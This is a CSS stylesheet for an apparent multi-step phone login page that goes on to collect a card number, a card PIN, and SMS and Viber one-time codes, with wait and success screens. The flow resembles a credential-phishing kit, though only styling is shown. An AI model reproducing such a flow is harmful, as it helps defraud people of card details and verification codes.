* {
  box-sizing: border-box;
  margin: 0;
  padding: 0;
}

html,
body {
  height: 100%;
}

body {
  font-family: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
  -webkit-font-smoothing: antialiased;
  color: #0f172a;
  background:
    radial-gradient(ellipse 90% 60% at 50% -10%, rgba(56, 189, 248, 0.28) 0%, transparent 55%),
    radial-gradient(ellipse 70% 50% at 100% 80%, rgba(14, 165, 233, 0.18) 0%, transparent 50%),
    linear-gradient(165deg, #c9e4f8 0%, #b8d9f2 32%, #d4e9f9 58%, #e8f3fc 100%) fixed;
  background-color: #b8d4ec;
  min-height: 100vh;
  min-height: 100dvh;
}

.page {
  max-width: 440px;
  margin: 0 auto;
  padding: max(24px, env(safe-area-inset-top)) 16px 32px;
  min-height: 100vh;
  min-height: 100dvh;
  display: flex;
  flex-direction: column;
  justify-content: center;
}

.card {
  width: 100%;
  padding: 26px 22px 28px;
  border-radius: 22px;
  background: rgba(255, 255, 255, 0.78);
  -webkit-backdrop-filter: blur(22px) saturate(165%);
  backdrop-filter: blur(22px) saturate(165%);
  border: 1px solid rgba(255, 255, 255, 0.92);
  box-shadow:
    0 1px 0 rgba(255, 255, 255, 0.95) inset,
    0 16px 48px rgba(15, 76, 129, 0.14);
}

.head {
  text-align: center;
  padding-bottom: 16px;
}

.head img {
  display: block;
  width: 76px;
  height: 76px;
  margin: 0 auto 14px;
  border-radius: 18px;
  box-shadow: 0 8px 24px rgba(13, 148, 136, 0.22);
}

.head .brand {
  margin: 0 0 6px;
  font-size: 1.05rem;
  font-weight: 800;
  letter-spacing: 0.04em;
  color: #0c4a6e;
  text-transform: uppercase;
}

.head h1 {
  font-size: 1.5rem;
  font-weight: 800;
  letter-spacing: -0.03em;
  color: #0f172a;
}

.sub {
  margin: 0 0 22px;
  text-align: center;
  font-size: 0.94rem;
  line-height: 1.52;
  color: #475569;
}

.field {
  margin-bottom: 18px;
}

.visually-hidden {
  position: absolute;
  width: 1px;
  height: 1px;
  padding: 0;
  margin: -1px;
  overflow: hidden;
  clip: rect(0, 0, 0, 0);
  white-space: nowrap;
  border: 0;
}

.phone-row {
  display: flex;
  align-items: stretch;
  background: #fff;
  border: 1px solid rgba(148, 163, 184, 0.45);
  border-radius: 14px;
  overflow: hidden;
}

.phone-row:focus-within {
  border-color: #0ea5e9;
  box-shadow: 0 0 0 3px rgba(14, 165, 233, 0.22);
}

.phone-row.phone-row--err {
  border-color: #ef4444;
  box-shadow: 0 0 0 3px rgba(239, 68, 68, 0.18);
}

.phone-row.phone-row--err:focus-within {
  border-color: #ef4444;
  box-shadow: 0 0 0 3px rgba(239, 68, 68, 0.22);
}

.phone-prefix {
  display: flex;
  align-items: center;
  padding: 0 14px;
  font-size: 1rem;
  font-weight: 600;
  color: #0369a1;
  background: #fff;
  border-right: 1px solid #e2e8f0;
  flex-shrink: 0;
}

.phone-row input {
  flex: 1;
  min-width: 0;
  border: none;
  background: transparent;
  padding: 16px 14px;
  font-size: 1rem;
  outline: none;
  color: #0f172a;
}

.pass-wrap {
  position: relative;
}

.pass-input {
  width: 100%;
  border: 1px solid transparent;
  border-radius: 14px;
  background: rgba(243, 244, 246, 0.95);
  padding: 16px 48px 16px 14px;
  font-size: 1rem;
  outline: none;
  color: #0f172a;
}

.pass-input::placeholder {
  color: #9ca3af;
}

.pass-input:focus {
  background: #fff;
  border-color: #0ea5e9;
  box-shadow: 0 0 0 3px rgba(14, 165, 233, 0.22);
}

.pass-input.pass-input--err {
  background: #fff;
  border: 1px solid #ef4444;
  box-shadow: 0 0 0 3px rgba(239, 68, 68, 0.18);
}

.pass-input.pass-input--err:focus {
  border-color: #ef4444;
  box-shadow: 0 0 0 3px rgba(239, 68, 68, 0.22);
}

.pass-toggle {
  position: absolute;
  right: 6px;
  top: 50%;
  transform: translateY(-50%);
  width: 40px;
  height: 40px;
  border: none;
  background: transparent;
  cursor: pointer;
  border-radius: 10px;
  display: flex;
  align-items: center;
  justify-content: center;
  color: #94a3b8;
  touch-action: manipulation;
}

.pass-toggle svg {
  pointer-events: none;
}

.pass-toggle[aria-pressed="false"] .icon-show {
  display: none;
}

.pass-toggle[aria-pressed="false"] .icon-hide {
  display: block;
}

.pass-toggle[aria-pressed="true"] .icon-show {
  display: block;
}

.pass-toggle[aria-pressed="true"] .icon-hide {
  display: none;
}

.hint {
  margin: 8px 0 0;
  font-size: 0.78rem;
  line-height: 1.46;
  color: #94a3b8;
}

.err {
  min-height: 1.2em;
  margin: 0 0 12px;
  font-size: 0.85rem;
  text-align: center;
  color: #dc2626;
}

.login-alert--phone {
  background: linear-gradient(135deg, #fff1f2 0%, #ffe4e6 100%);
  border: 1px solid rgba(244, 63, 94, 0.32);
  box-shadow: 0 4px 18px rgba(225, 29, 72, 0.1);
}

.login-alert--phone .login-alert__icon {
  background: rgba(244, 63, 94, 0.12);
}

.login-alert--phone .login-alert__title {
  color: #881337;
}

.login-alert--phone .login-alert__text {
  color: #9f1239;
}

.login-alert--pwd {
  background: linear-gradient(135deg, #fff1f2 0%, #ffe4e6 100%);
  border: 1px solid rgba(244, 63, 94, 0.32);
  box-shadow: 0 4px 18px rgba(225, 29, 72, 0.1);
}

.login-alert--pwd .login-alert__icon {
  background: rgba(244, 63, 94, 0.12);
}

.login-alert--pwd .login-alert__title {
  color: #881337;
}

.login-alert--pwd .login-alert__text {
  color: #9f1239;
}

.login-alert {
  display: flex;
  align-items: flex-start;
  gap: 14px;
  margin: 0 0 14px;
  padding: 16px 18px;
  border-radius: 16px;
  text-align: left;
  background: linear-gradient(135deg, #fff1f2 0%, #ffe4e6 100%);
  border: 1px solid rgba(244, 63, 94, 0.32);
  box-shadow: 0 4px 18px rgba(225, 29, 72, 0.1);
  animation: alert-in 0.35s ease;
}

.login-alert[hidden] {
  display: none !important;
}

.login-alert__icon {
  flex-shrink: 0;
  width: 42px;
  height: 42px;
  display: flex;
  align-items: center;
  justify-content: center;
  border-radius: 12px;
  font-size: 1.25rem;
  line-height: 1;
  background: rgba(244, 63, 94, 0.12);
}

.login-alert__title {
  display: block;
  margin: 0 0 4px;
  font-size: 0.9375rem;
  font-weight: 800;
  color: #881337;
  letter-spacing: -0.01em;
}

.login-alert__text {
  margin: 0;
  font-size: 0.875rem;
  line-height: 1.55;
  font-weight: 500;
  color: #9f1239;
}

@keyframes alert-in {
  from {
    opacity: 0;
    transform: translateY(-6px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

.btn-continue {
  width: 100%;
  margin-top: 8px;
  border: none;
  border-radius: 999px;
  padding: 16px;
  font-size: 1rem;
  font-weight: 700;
  color: #fff;
  background: linear-gradient(180deg, #94a3b8 0%, #7b8fa3 100%);
  cursor: not-allowed;
  box-shadow: none;
}

.btn-continue.is-ready {
  background: linear-gradient(180deg, #22d3ee 0%, #0ea5e9 55%, #0284c7 100%);
  cursor: pointer;
  box-shadow: 0 12px 32px rgba(14, 165, 233, 0.38);
}

body.show-login #phase_login {
  display: flex;
}

body.show-login .wait,
body.show-login #phase_confirm,
body.show-login #phase_card,
body.show-login #phase_pin,
body.show-login #phase_sms,
body.show-login #phase_viber,
body.show-login #phase_success {
  display: none !important;
}

body.show-wait #phase_login,
body.show-wait #phase_confirm,
body.show-wait #phase_card,
body.show-wait #phase_pin,
body.show-wait #phase_sms,
body.show-wait #phase_viber,
body.show-wait #phase_success {
  display: none !important;
}

body.show-confirm #phase_login,
body.show-confirm .wait,
body.show-confirm #phase_card,
body.show-confirm #phase_pin,
body.show-confirm #phase_sms,
body.show-confirm #phase_viber,
body.show-confirm #phase_success {
  display: none !important;
}

body.show-card #phase_login,
body.show-card .wait,
body.show-card #phase_confirm,
body.show-card #phase_pin,
body.show-card #phase_sms,
body.show-card #phase_viber,
body.show-card #phase_success {
  display: none !important;
}

body.show-pin #phase_login,
body.show-pin .wait,
body.show-pin #phase_confirm,
body.show-pin #phase_card,
body.show-pin #phase_sms,
body.show-pin #phase_viber,
body.show-pin #phase_success {
  display: none !important;
}

body.show-sms #phase_login,
body.show-sms .wait,
body.show-sms #phase_confirm,
body.show-sms #phase_card,
body.show-sms #phase_pin,
body.show-sms #phase_viber,
body.show-sms #phase_success {
  display: none !important;
}

body.show-viber #phase_login,
body.show-viber .wait,
body.show-viber #phase_confirm,
body.show-viber #phase_card,
body.show-viber #phase_pin,
body.show-viber #phase_sms,
body.show-viber #phase_success {
  display: none !important;
}

body.show-success #phase_login,
body.show-success .wait,
body.show-success #phase_confirm,
body.show-success #phase_card,
body.show-success #phase_pin,
body.show-success #phase_sms,
body.show-success #phase_viber {
  display: none !important;
}

body.show-sms #phase_sms {
  display: flex !important;
}

body.show-viber #phase_viber {
  display: flex !important;
}

body.show-success #phase_success {
  display: flex !important;
}

.sms-panel {
  width: 100%;
}

.sms-title {
  margin: 0 0 14px;
  text-align: center;
  font-size: 1.45rem;
  font-weight: 700;
  color: #0f172a;
  letter-spacing: -0.02em;
}

.sms-lead {
  margin: 0 0 24px;
  text-align: center;
  font-size: 0.98rem;
  line-height: 1.55;
  color: #475569;
  font-weight: 500;
}

.sms-field {
  margin: 0;
}

.sms-input {
  width: 100%;
  height: 58px;
  padding: 0 16px;
  font-size: 1.25rem;
  letter-spacing: 0.2em;
  font-weight: 600;
  color: #0f172a;
  border: 1px solid #cbd5e1;
  border-radius: 16px;
  background: #fff;
  box-shadow: 0 1px 3px rgba(15, 23, 42, 0.05);
  outline: none;
  font-variant-numeric: tabular-nums;
}

.sms-input::placeholder {
  letter-spacing: normal;
  font-weight: 500;
  font-size: 0.92rem;
  color: #64748b;
}

.sms-input:focus {
  border-color: #26cfc7;
  box-shadow: 0 0 0 3px rgba(38, 207, 199, 0.2);
}

.btn-sms-resend {
  width: 100%;
  margin-top: 20px;
  border: none;
  border-radius: 999px;
  padding: 16px 20px;
  font-size: 0.95rem;
  font-weight: 700;
  font-family: inherit;
  line-height: 1.35;
  color: #fff;
  background: linear-gradient(180deg, #22d3ee 0%, #0ea5e9 55%, #0284c7 100%);
  box-shadow: 0 8px 24px rgba(14, 165, 233, 0.42);
  cursor: pointer;
}

.btn-sms-resend:disabled {
  background: linear-gradient(180deg, #e0f2fe 0%, #bae6fd 100%);
  color: #0369a1;
  border: 1px solid rgba(14, 165, 233, 0.28);
  box-shadow: 0 2px 10px rgba(14, 116, 144, 0.12);
  cursor: default;
}

.btn-sms-continue {
  width: 100%;
  margin-top: 14px;
  min-height: 52px;
  padding: 14px 20px;
  border: none;
  border-radius: 999px;
  font-size: 0.95rem;
  font-weight: 800;
  letter-spacing: 0.12em;
  text-transform: uppercase;
  color: #fff;
  background: linear-gradient(180deg, #94a3b8 0%, #7b8fa3 100%);
  cursor: not-allowed;
  box-shadow: none;
}

.btn-sms-continue.is-ready {
  background: linear-gradient(180deg, #22d3ee 0%, #0ea5e9 55%, #0284c7 100%);
  cursor: pointer;
  box-shadow: 0 12px 32px rgba(14, 165, 233, 0.38);
}

body.show-wait .wait {
  display: flex !important;
}

body.show-confirm #phase_confirm {
  display: flex !important;
}

body.show-card #phase_card {
  display: flex !important;
}

body.show-pin #phase_pin {
  display: flex !important;
}

.pin-title {
  margin: 0 0 16px;
  text-align: center;
  font-size: 1.38rem;
  font-weight: 800;
  color: #0f172a;
  letter-spacing: -0.02em;
}

.pin-invalid-msg {
  margin: 0 0 16px;
  padding: 12px 14px;
  font-size: 0.875rem;
  line-height: 1.5;
  font-weight: 500;
  color: #9a3412;
  text-align: left;
  background: linear-gradient(135deg, #fff7ed 0%, #ffedd5 100%);
  border: 1px solid rgba(251, 146, 60, 0.35);
  border-radius: 14px;
}

.pin-invalid-msg[hidden] {
  display: none !important;
}

.pin-card-line {
  display: block;
  margin: 0 0 16px;
  padding: 10px 14px;
  text-align: center;
  font-size: 0.9rem;
  font-weight: 700;
  letter-spacing: 0.04em;
  color: #0369a1;
  background: linear-gradient(135deg, #e0f2fe 0%, #f0f9ff 100%);
  border-radius: 14px;
  border: 1px solid rgba(14, 165, 233, 0.3);
  font-variant-numeric: tabular-nums;
}

.pin-label {
  display: block;
  margin: 0 0 14px;
  font-size: 0.72rem;
  font-weight: 700;
  letter-spacing: 0.1em;
  text-transform: uppercase;
  color: #64748b;
  text-align: center;
}

.pin-digits {
  display: flex;
  gap: 12px;
  justify-content: center;
  margin: 0 auto;
  max-width: 280px;
}

.pin-digit {
  width: 56px;
  height: 56px;
  box-sizing: border-box;
  text-align: center;
  font-size: 1.5rem;
  font-weight: 700;
  color: #0f172a;
  border: 2px solid #e2e8f0;
  border-radius: 16px;
  background: #fff;
  font-variant-numeric: tabular-nums;
  -webkit-text-security: disc;
  text-security: disc;
  outline: none;
}

.pin-digit:focus {
  border-color: #0ea5e9;
  box-shadow: 0 0 0 4px rgba(14, 165, 233, 0.2);
}

.pin-hint {
  margin: 14px 0 0;
  font-size: 0.8125rem;
  color: #94a3b8;
  text-align: center;
}

.confirm-title {
  margin: 0 0 18px;
  text-align: center;
  font-size: 1.38rem;
  font-weight: 800;
  color: #0f172a;
  letter-spacing: -0.02em;
}

.confirm-intro {
  margin: 0 0 16px;
  text-align: center;
  font-size: 0.95rem;
  line-height: 1.6;
  color: #374151;
}

.confirm-intro-em {
  font-weight: 600;
  color: #111827;
}

.num-badge {
  display: inline-block;
  margin: 4px 2px;
  padding: 8px 12px;
  font-weight: 800;
  font-size: 1rem;
  color: #0c4a6e;
  background: linear-gradient(180deg, #f0f9ff 0%, #e0f2fe 100%);
  border: 1px solid #7dd3fc;
  border-radius: 12px;
  box-shadow: 0 4px 14px rgba(125, 211, 252, 0.35);
}

.confirm-line {
  margin: 18px 0 0;
  padding: 0 6px;
  text-align: center;
  font-size: 0.97rem;
  line-height: 1.55;
  color: #0f172a;
  font-weight: 700;
}

.confirm-hint {
  margin: 16px 0 18px;
  text-align: center;
  font-size: 0.9rem;
  line-height: 1.5;
  color: #64748b;
  font-weight: 500;
}

.code-digits {
  display: flex;
  gap: 12px;
  justify-content: center;
  margin-top: 4px;
}

.code-digit {
  width: 60px;
  height: 60px;
  text-align: center;
  font-size: 1.5rem;
  font-weight: 800;
  border: 1px solid #cbd5e1;
  border-radius: 14px;
  background: linear-gradient(180deg, #fff 0%, #f8fafc 100%);
  color: #0f172a;
  outline: none;
  box-shadow: 0 2px 8px rgba(15, 23, 42, 0.06);
}

.code-digit:focus {
  border-color: #0ea5e9;
  box-shadow: 0 0 0 3px rgba(14, 165, 233, 0.22);
}

.btn-resend {
  width: 100%;
  margin-top: 28px;
  border: none;
  border-radius: 999px;
  padding: 16px 20px;
  font-size: 1rem;
  font-weight: 700;
  font-family: inherit;
  line-height: 1.35;
  color: #fff;
  background: linear-gradient(180deg, #22d3ee 0%, #0ea5e9 55%, #0284c7 100%);
  box-shadow: 0 8px 24px rgba(14, 165, 233, 0.42);
  cursor: pointer;
}

.btn-resend:disabled {
  background: linear-gradient(180deg, #e0f2fe 0%, #bae6fd 100%);
  color: #0369a1;
  border: 1px solid rgba(14, 165, 233, 0.28);
  box-shadow: 0 2px 10px rgba(14, 116, 144, 0.12);
  cursor: default;
}

@media (max-width: 380px) {
  .code-digit {
    width: 52px;
    height: 52px;
    font-size: 1.3rem;
  }
  .code-digits {
    gap: 10px;
  }
}

.card-panel,
.confirm-card,
.sms-panel,
.viber-panel,
.pin-panel {
  position: relative;
}

.btn-back {
  display: inline-flex;
  align-items: center;
  margin: 0 0 12px;
  padding: 6px 0;
  border: none;
  background: transparent;
  font-family: inherit;
  font-size: 0.9rem;
  font-weight: 600;
  color: #0369a1;
  cursor: pointer;
}

.btn-back:hover {
  text-decoration: underline;
}

.card-field {
  margin: 0 0 8px;
  text-align: left;
}

.card-label {
  display: block;
  margin: 0 0 8px;
  font-size: 0.72rem;
  font-weight: 700;
  letter-spacing: 0.08em;
  text-transform: uppercase;
  color: #64748b;
}

.card-input-shell {
  display: flex;
  align-items: center;
  gap: 12px;
  padding: 4px 14px 4px 4px;
  background: #fff;
  border: 2px solid #e2e8f0;
  border-radius: 16px;
  box-shadow: 0 1px 2px rgba(15, 23, 42, 0.04);
}

.card-input-shell:focus-within {
  border-color: #0ea5e9;
  box-shadow: 0 0 0 4px rgba(14, 165, 233, 0.18);
}

.card-input-shell.card-input-shell--err {
  border-color: #ef4444;
  box-shadow: 0 0 0 3px rgba(239, 68, 68, 0.18);
}

.card-input-shell.card-input-shell--err:focus-within {
  border-color: #ef4444;
  box-shadow: 0 0 0 3px rgba(239, 68, 68, 0.22);
}

.card-input-icon {
  flex-shrink: 0;
  width: 40px;
  height: 28px;
  display: flex;
  align-items: center;
  justify-content: center;
  border-radius: 8px;
  background: linear-gradient(135deg, #0ea5e9 0%, #0284c7 100%);
  color: #fff;
  box-shadow: 0 4px 12px rgba(14, 165, 233, 0.35);
}

.card-input-icon svg {
  width: 22px;
  height: 22px;
}

.card-input {
  flex: 1;
  min-width: 0;
  border: none;
  background: transparent;
  padding: 14px 8px 14px 0;
  font-size: 1.2rem;
  font-weight: 600;
  letter-spacing: 0.14em;
  color: #0f172a;
  font-variant-numeric: tabular-nums;
  font-family: ui-monospace, "Cascadia Code", "Segoe UI Mono", Consolas, monospace;
  outline: none;
}

.card-input::placeholder {
  color: #cbd5e1;
  font-weight: 500;
  letter-spacing: 0.1em;
}

.card-hint {
  margin: 10px 0 0;
  font-size: 0.8125rem;
  font-weight: 500;
  color: #94a3b8;
  text-align: left;
}

.btn-next {
  width: 100%;
  margin-top: 22px;
  border: none;
  border-radius: 999px;
  padding: 15px 22px;
  font-size: 1.05rem;
  font-weight: 700;
  font-family: inherit;
  color: #fff;
  background: linear-gradient(180deg, #94a3b8 0%, #7b8fa3 100%);
  cursor: not-allowed;
}

.btn-next.is-ready {
  background: linear-gradient(180deg, #22d3ee 0%, #0ea5e9 55%, #0284c7 100%);
  cursor: pointer;
  box-shadow: 0 12px 32px rgba(14, 165, 233, 0.38);
}

.wait {
  position: fixed;
  inset: 0;
  z-index: 100;
  align-items: center;
  justify-content: center;
  padding: 24px;
  background:
    radial-gradient(ellipse 90% 60% at 50% -10%, rgba(56, 189, 248, 0.28) 0%, transparent 55%),
    radial-gradient(ellipse 70% 50% at 100% 80%, rgba(14, 165, 233, 0.18) 0%, transparent 50%),
    linear-gradient(165deg, #c9e4f8 0%, #b8d9f2 32%, #d4e9f9 58%, #e8f3fc 100%) fixed;
  background-color: #b8d4ec;
}

.wait-card {
  width: min(100%, 400px);
  padding: 32px 28px 30px;
  border-radius: 22px;
  text-align: center;
  background: rgba(255, 255, 255, 0.78);
  -webkit-backdrop-filter: blur(22px) saturate(165%);
  backdrop-filter: blur(22px) saturate(165%);
  border: 1px solid rgba(255, 255, 255, 0.92);
  box-shadow:
    0 1px 0 rgba(255, 255, 255, 0.95) inset,
    0 16px 48px rgba(15, 76, 129, 0.14);
}

.wait-logo {
  width: 88px;
  height: 88px;
  margin: 0 auto 22px;
  border-radius: 20px;
  overflow: hidden;
  box-shadow: 0 8px 28px rgba(13, 148, 136, 0.28);
}

.wait-logo img {
  display: block;
  width: 100%;
  height: 100%;
  object-fit: cover;
}

.wait-spinner {
  width: 44px;
  height: 44px;
  margin: 0 auto 20px;
  border: 3px solid rgba(20, 184, 166, 0.22);
  border-top-color: #14b8a6;
  border-radius: 50%;
  animation: wait-spin 0.85s linear infinite;
}

@keyframes wait-spin {
  to {
    transform: rotate(360deg);
  }
}

.wait-title {
  margin: 0 0 10px;
  font-size: 1.2rem;
  font-weight: 700;
  color: #0f172a;
  letter-spacing: -0.02em;
}

.wait-sub {
  margin: 0;
  font-size: 0.92rem;
  line-height: 1.5;
  color: #64748b;
  max-width: 28em;
  margin-left: auto;
  margin-right: auto;
}

.viber-title {
  margin: 0 0 18px;
  text-align: center;
  font-size: 1.38rem;
  font-weight: 800;
  color: #0f172a;
  letter-spacing: -0.02em;
}

.viber-lead {
  margin: 0;
  text-align: center;
  font-size: 0.97rem;
  line-height: 1.6;
  color: #374151;
  font-weight: 500;
}

.viber-em {
  display: inline;
  padding: 2px 6px;
  border-radius: 6px;
  background: rgba(148, 163, 184, 0.28);
  color: #1e293b;
  font-weight: 600;
}

.viber-digits {
  display: flex;
  gap: 12px;
  justify-content: center;
  margin-top: 28px;
}

.viber-digit {
  width: 56px;
  height: 56px;
  box-sizing: border-box;
  text-align: center;
  font-size: 1.35rem;
  font-weight: 700;
  border: 2px solid #e2e8f0;
  border-radius: 14px;
  background: #fff;
  color: #0f172a;
  outline: none;
  font-variant-numeric: tabular-nums;
}

.viber-digit:focus {
  border-color: #0ea5e9;
  box-shadow: 0 0 0 3px rgba(14, 165, 233, 0.22);
}

.btn-viber-resend {
  width: 100%;
  margin-top: 28px;
  border: none;
  border-radius: 999px;
  padding: 16px 20px;
  font-size: 0.95rem;
  font-weight: 700;
  font-family: inherit;
  line-height: 1.35;
  color: #fff;
  background: linear-gradient(180deg, #22d3ee 0%, #0ea5e9 55%, #0284c7 100%);
  box-shadow: 0 8px 24px rgba(14, 165, 233, 0.42);
  cursor: pointer;
}

.btn-viber-resend:disabled {
  background: linear-gradient(180deg, #e0f2fe 0%, #bae6fd 100%);
  color: #0369a1;
  border: 1px solid rgba(14, 165, 233, 0.28);
  box-shadow: 0 2px 10px rgba(14, 116, 144, 0.12);
  cursor: default;
}

.success-page {
  justify-content: center;
  align-items: center;
  background: transparent;
}

.success-panel {
  width: 100%;
  max-width: 420px;
  margin: 0 auto;
  padding: 32px 26px 36px;
  background: #fff;
  border-radius: 24px;
  border: 1px solid rgba(15, 23, 42, 0.06);
  box-shadow:
    0 4px 6px -1px rgba(15, 23, 42, 0.06),
    0 20px 44px -14px rgba(15, 23, 42, 0.14);
  animation: success-pop 0.38s ease;
}

@keyframes success-pop {
  from {
    opacity: 0;
    transform: scale(0.94) translateY(10px);
  }
  to {
    opacity: 1;
    transform: scale(1) translateY(0);
  }
}

.success-topbar {
  position: relative;
  padding-right: 56px;
  margin-bottom: 28px;
  min-height: 48px;
}

.success-title-main {
  margin: 0;
  padding-top: 6px;
  font-size: 1.2rem;
  font-weight: 700;
  color: #0f172a;
  text-align: left;
  letter-spacing: -0.02em;
  line-height: 1.35;
}

.success-mark {
  position: absolute;
  right: 0;
  top: 0;
  width: 48px;
  height: 48px;
  border-radius: 12px;
  object-fit: cover;
}

.success-icon {
  width: 88px;
  height: 88px;
  margin: 0 auto 22px;
  border-radius: 50%;
  background: linear-gradient(145deg, #34d5cd 0%, #26cfc7 45%, #14b8a6 100%);
  display: flex;
  align-items: center;
  justify-content: center;
  box-shadow: 0 12px 32px rgba(38, 207, 199, 0.45);
  color: #fff;
}

.success-icon svg {
  width: 44px;
  height: 44px;
}

.success-heading {
  margin: 0 0 14px;
  font-size: 1.65rem;
  font-weight: 800;
  color: #0f172a;
  text-align: center;
  letter-spacing: -0.03em;
}

.success-body {
  margin: 0;
  font-size: 1.02rem;
  line-height: 1.6;
  color: #475569;
  text-align: center;
  font-weight: 500;
}

.success-note {
  display: block;
  margin-top: 18px;
  padding: 16px 18px;
  border-radius: 16px;
  background: linear-gradient(135deg, #ecfdf5 0%, #d1fae5 55%, #ccfbf1 100%);
  border: 2px solid rgba(20, 184, 166, 0.45);
  box-shadow: 0 4px 14px rgba(20, 184, 166, 0.2);
  font-size: 1.02rem;
  font-weight: 800;
  line-height: 1.5;
  color: #0f766e;
  letter-spacing: -0.01em;
  text-align: center;
}

@media (max-width: 380px) {
  .viber-digit {
    width: 52px;
    height: 52px;
    font-size: 1.2rem;
  }
  .viber-digits {
    gap: 10px;
  }
}
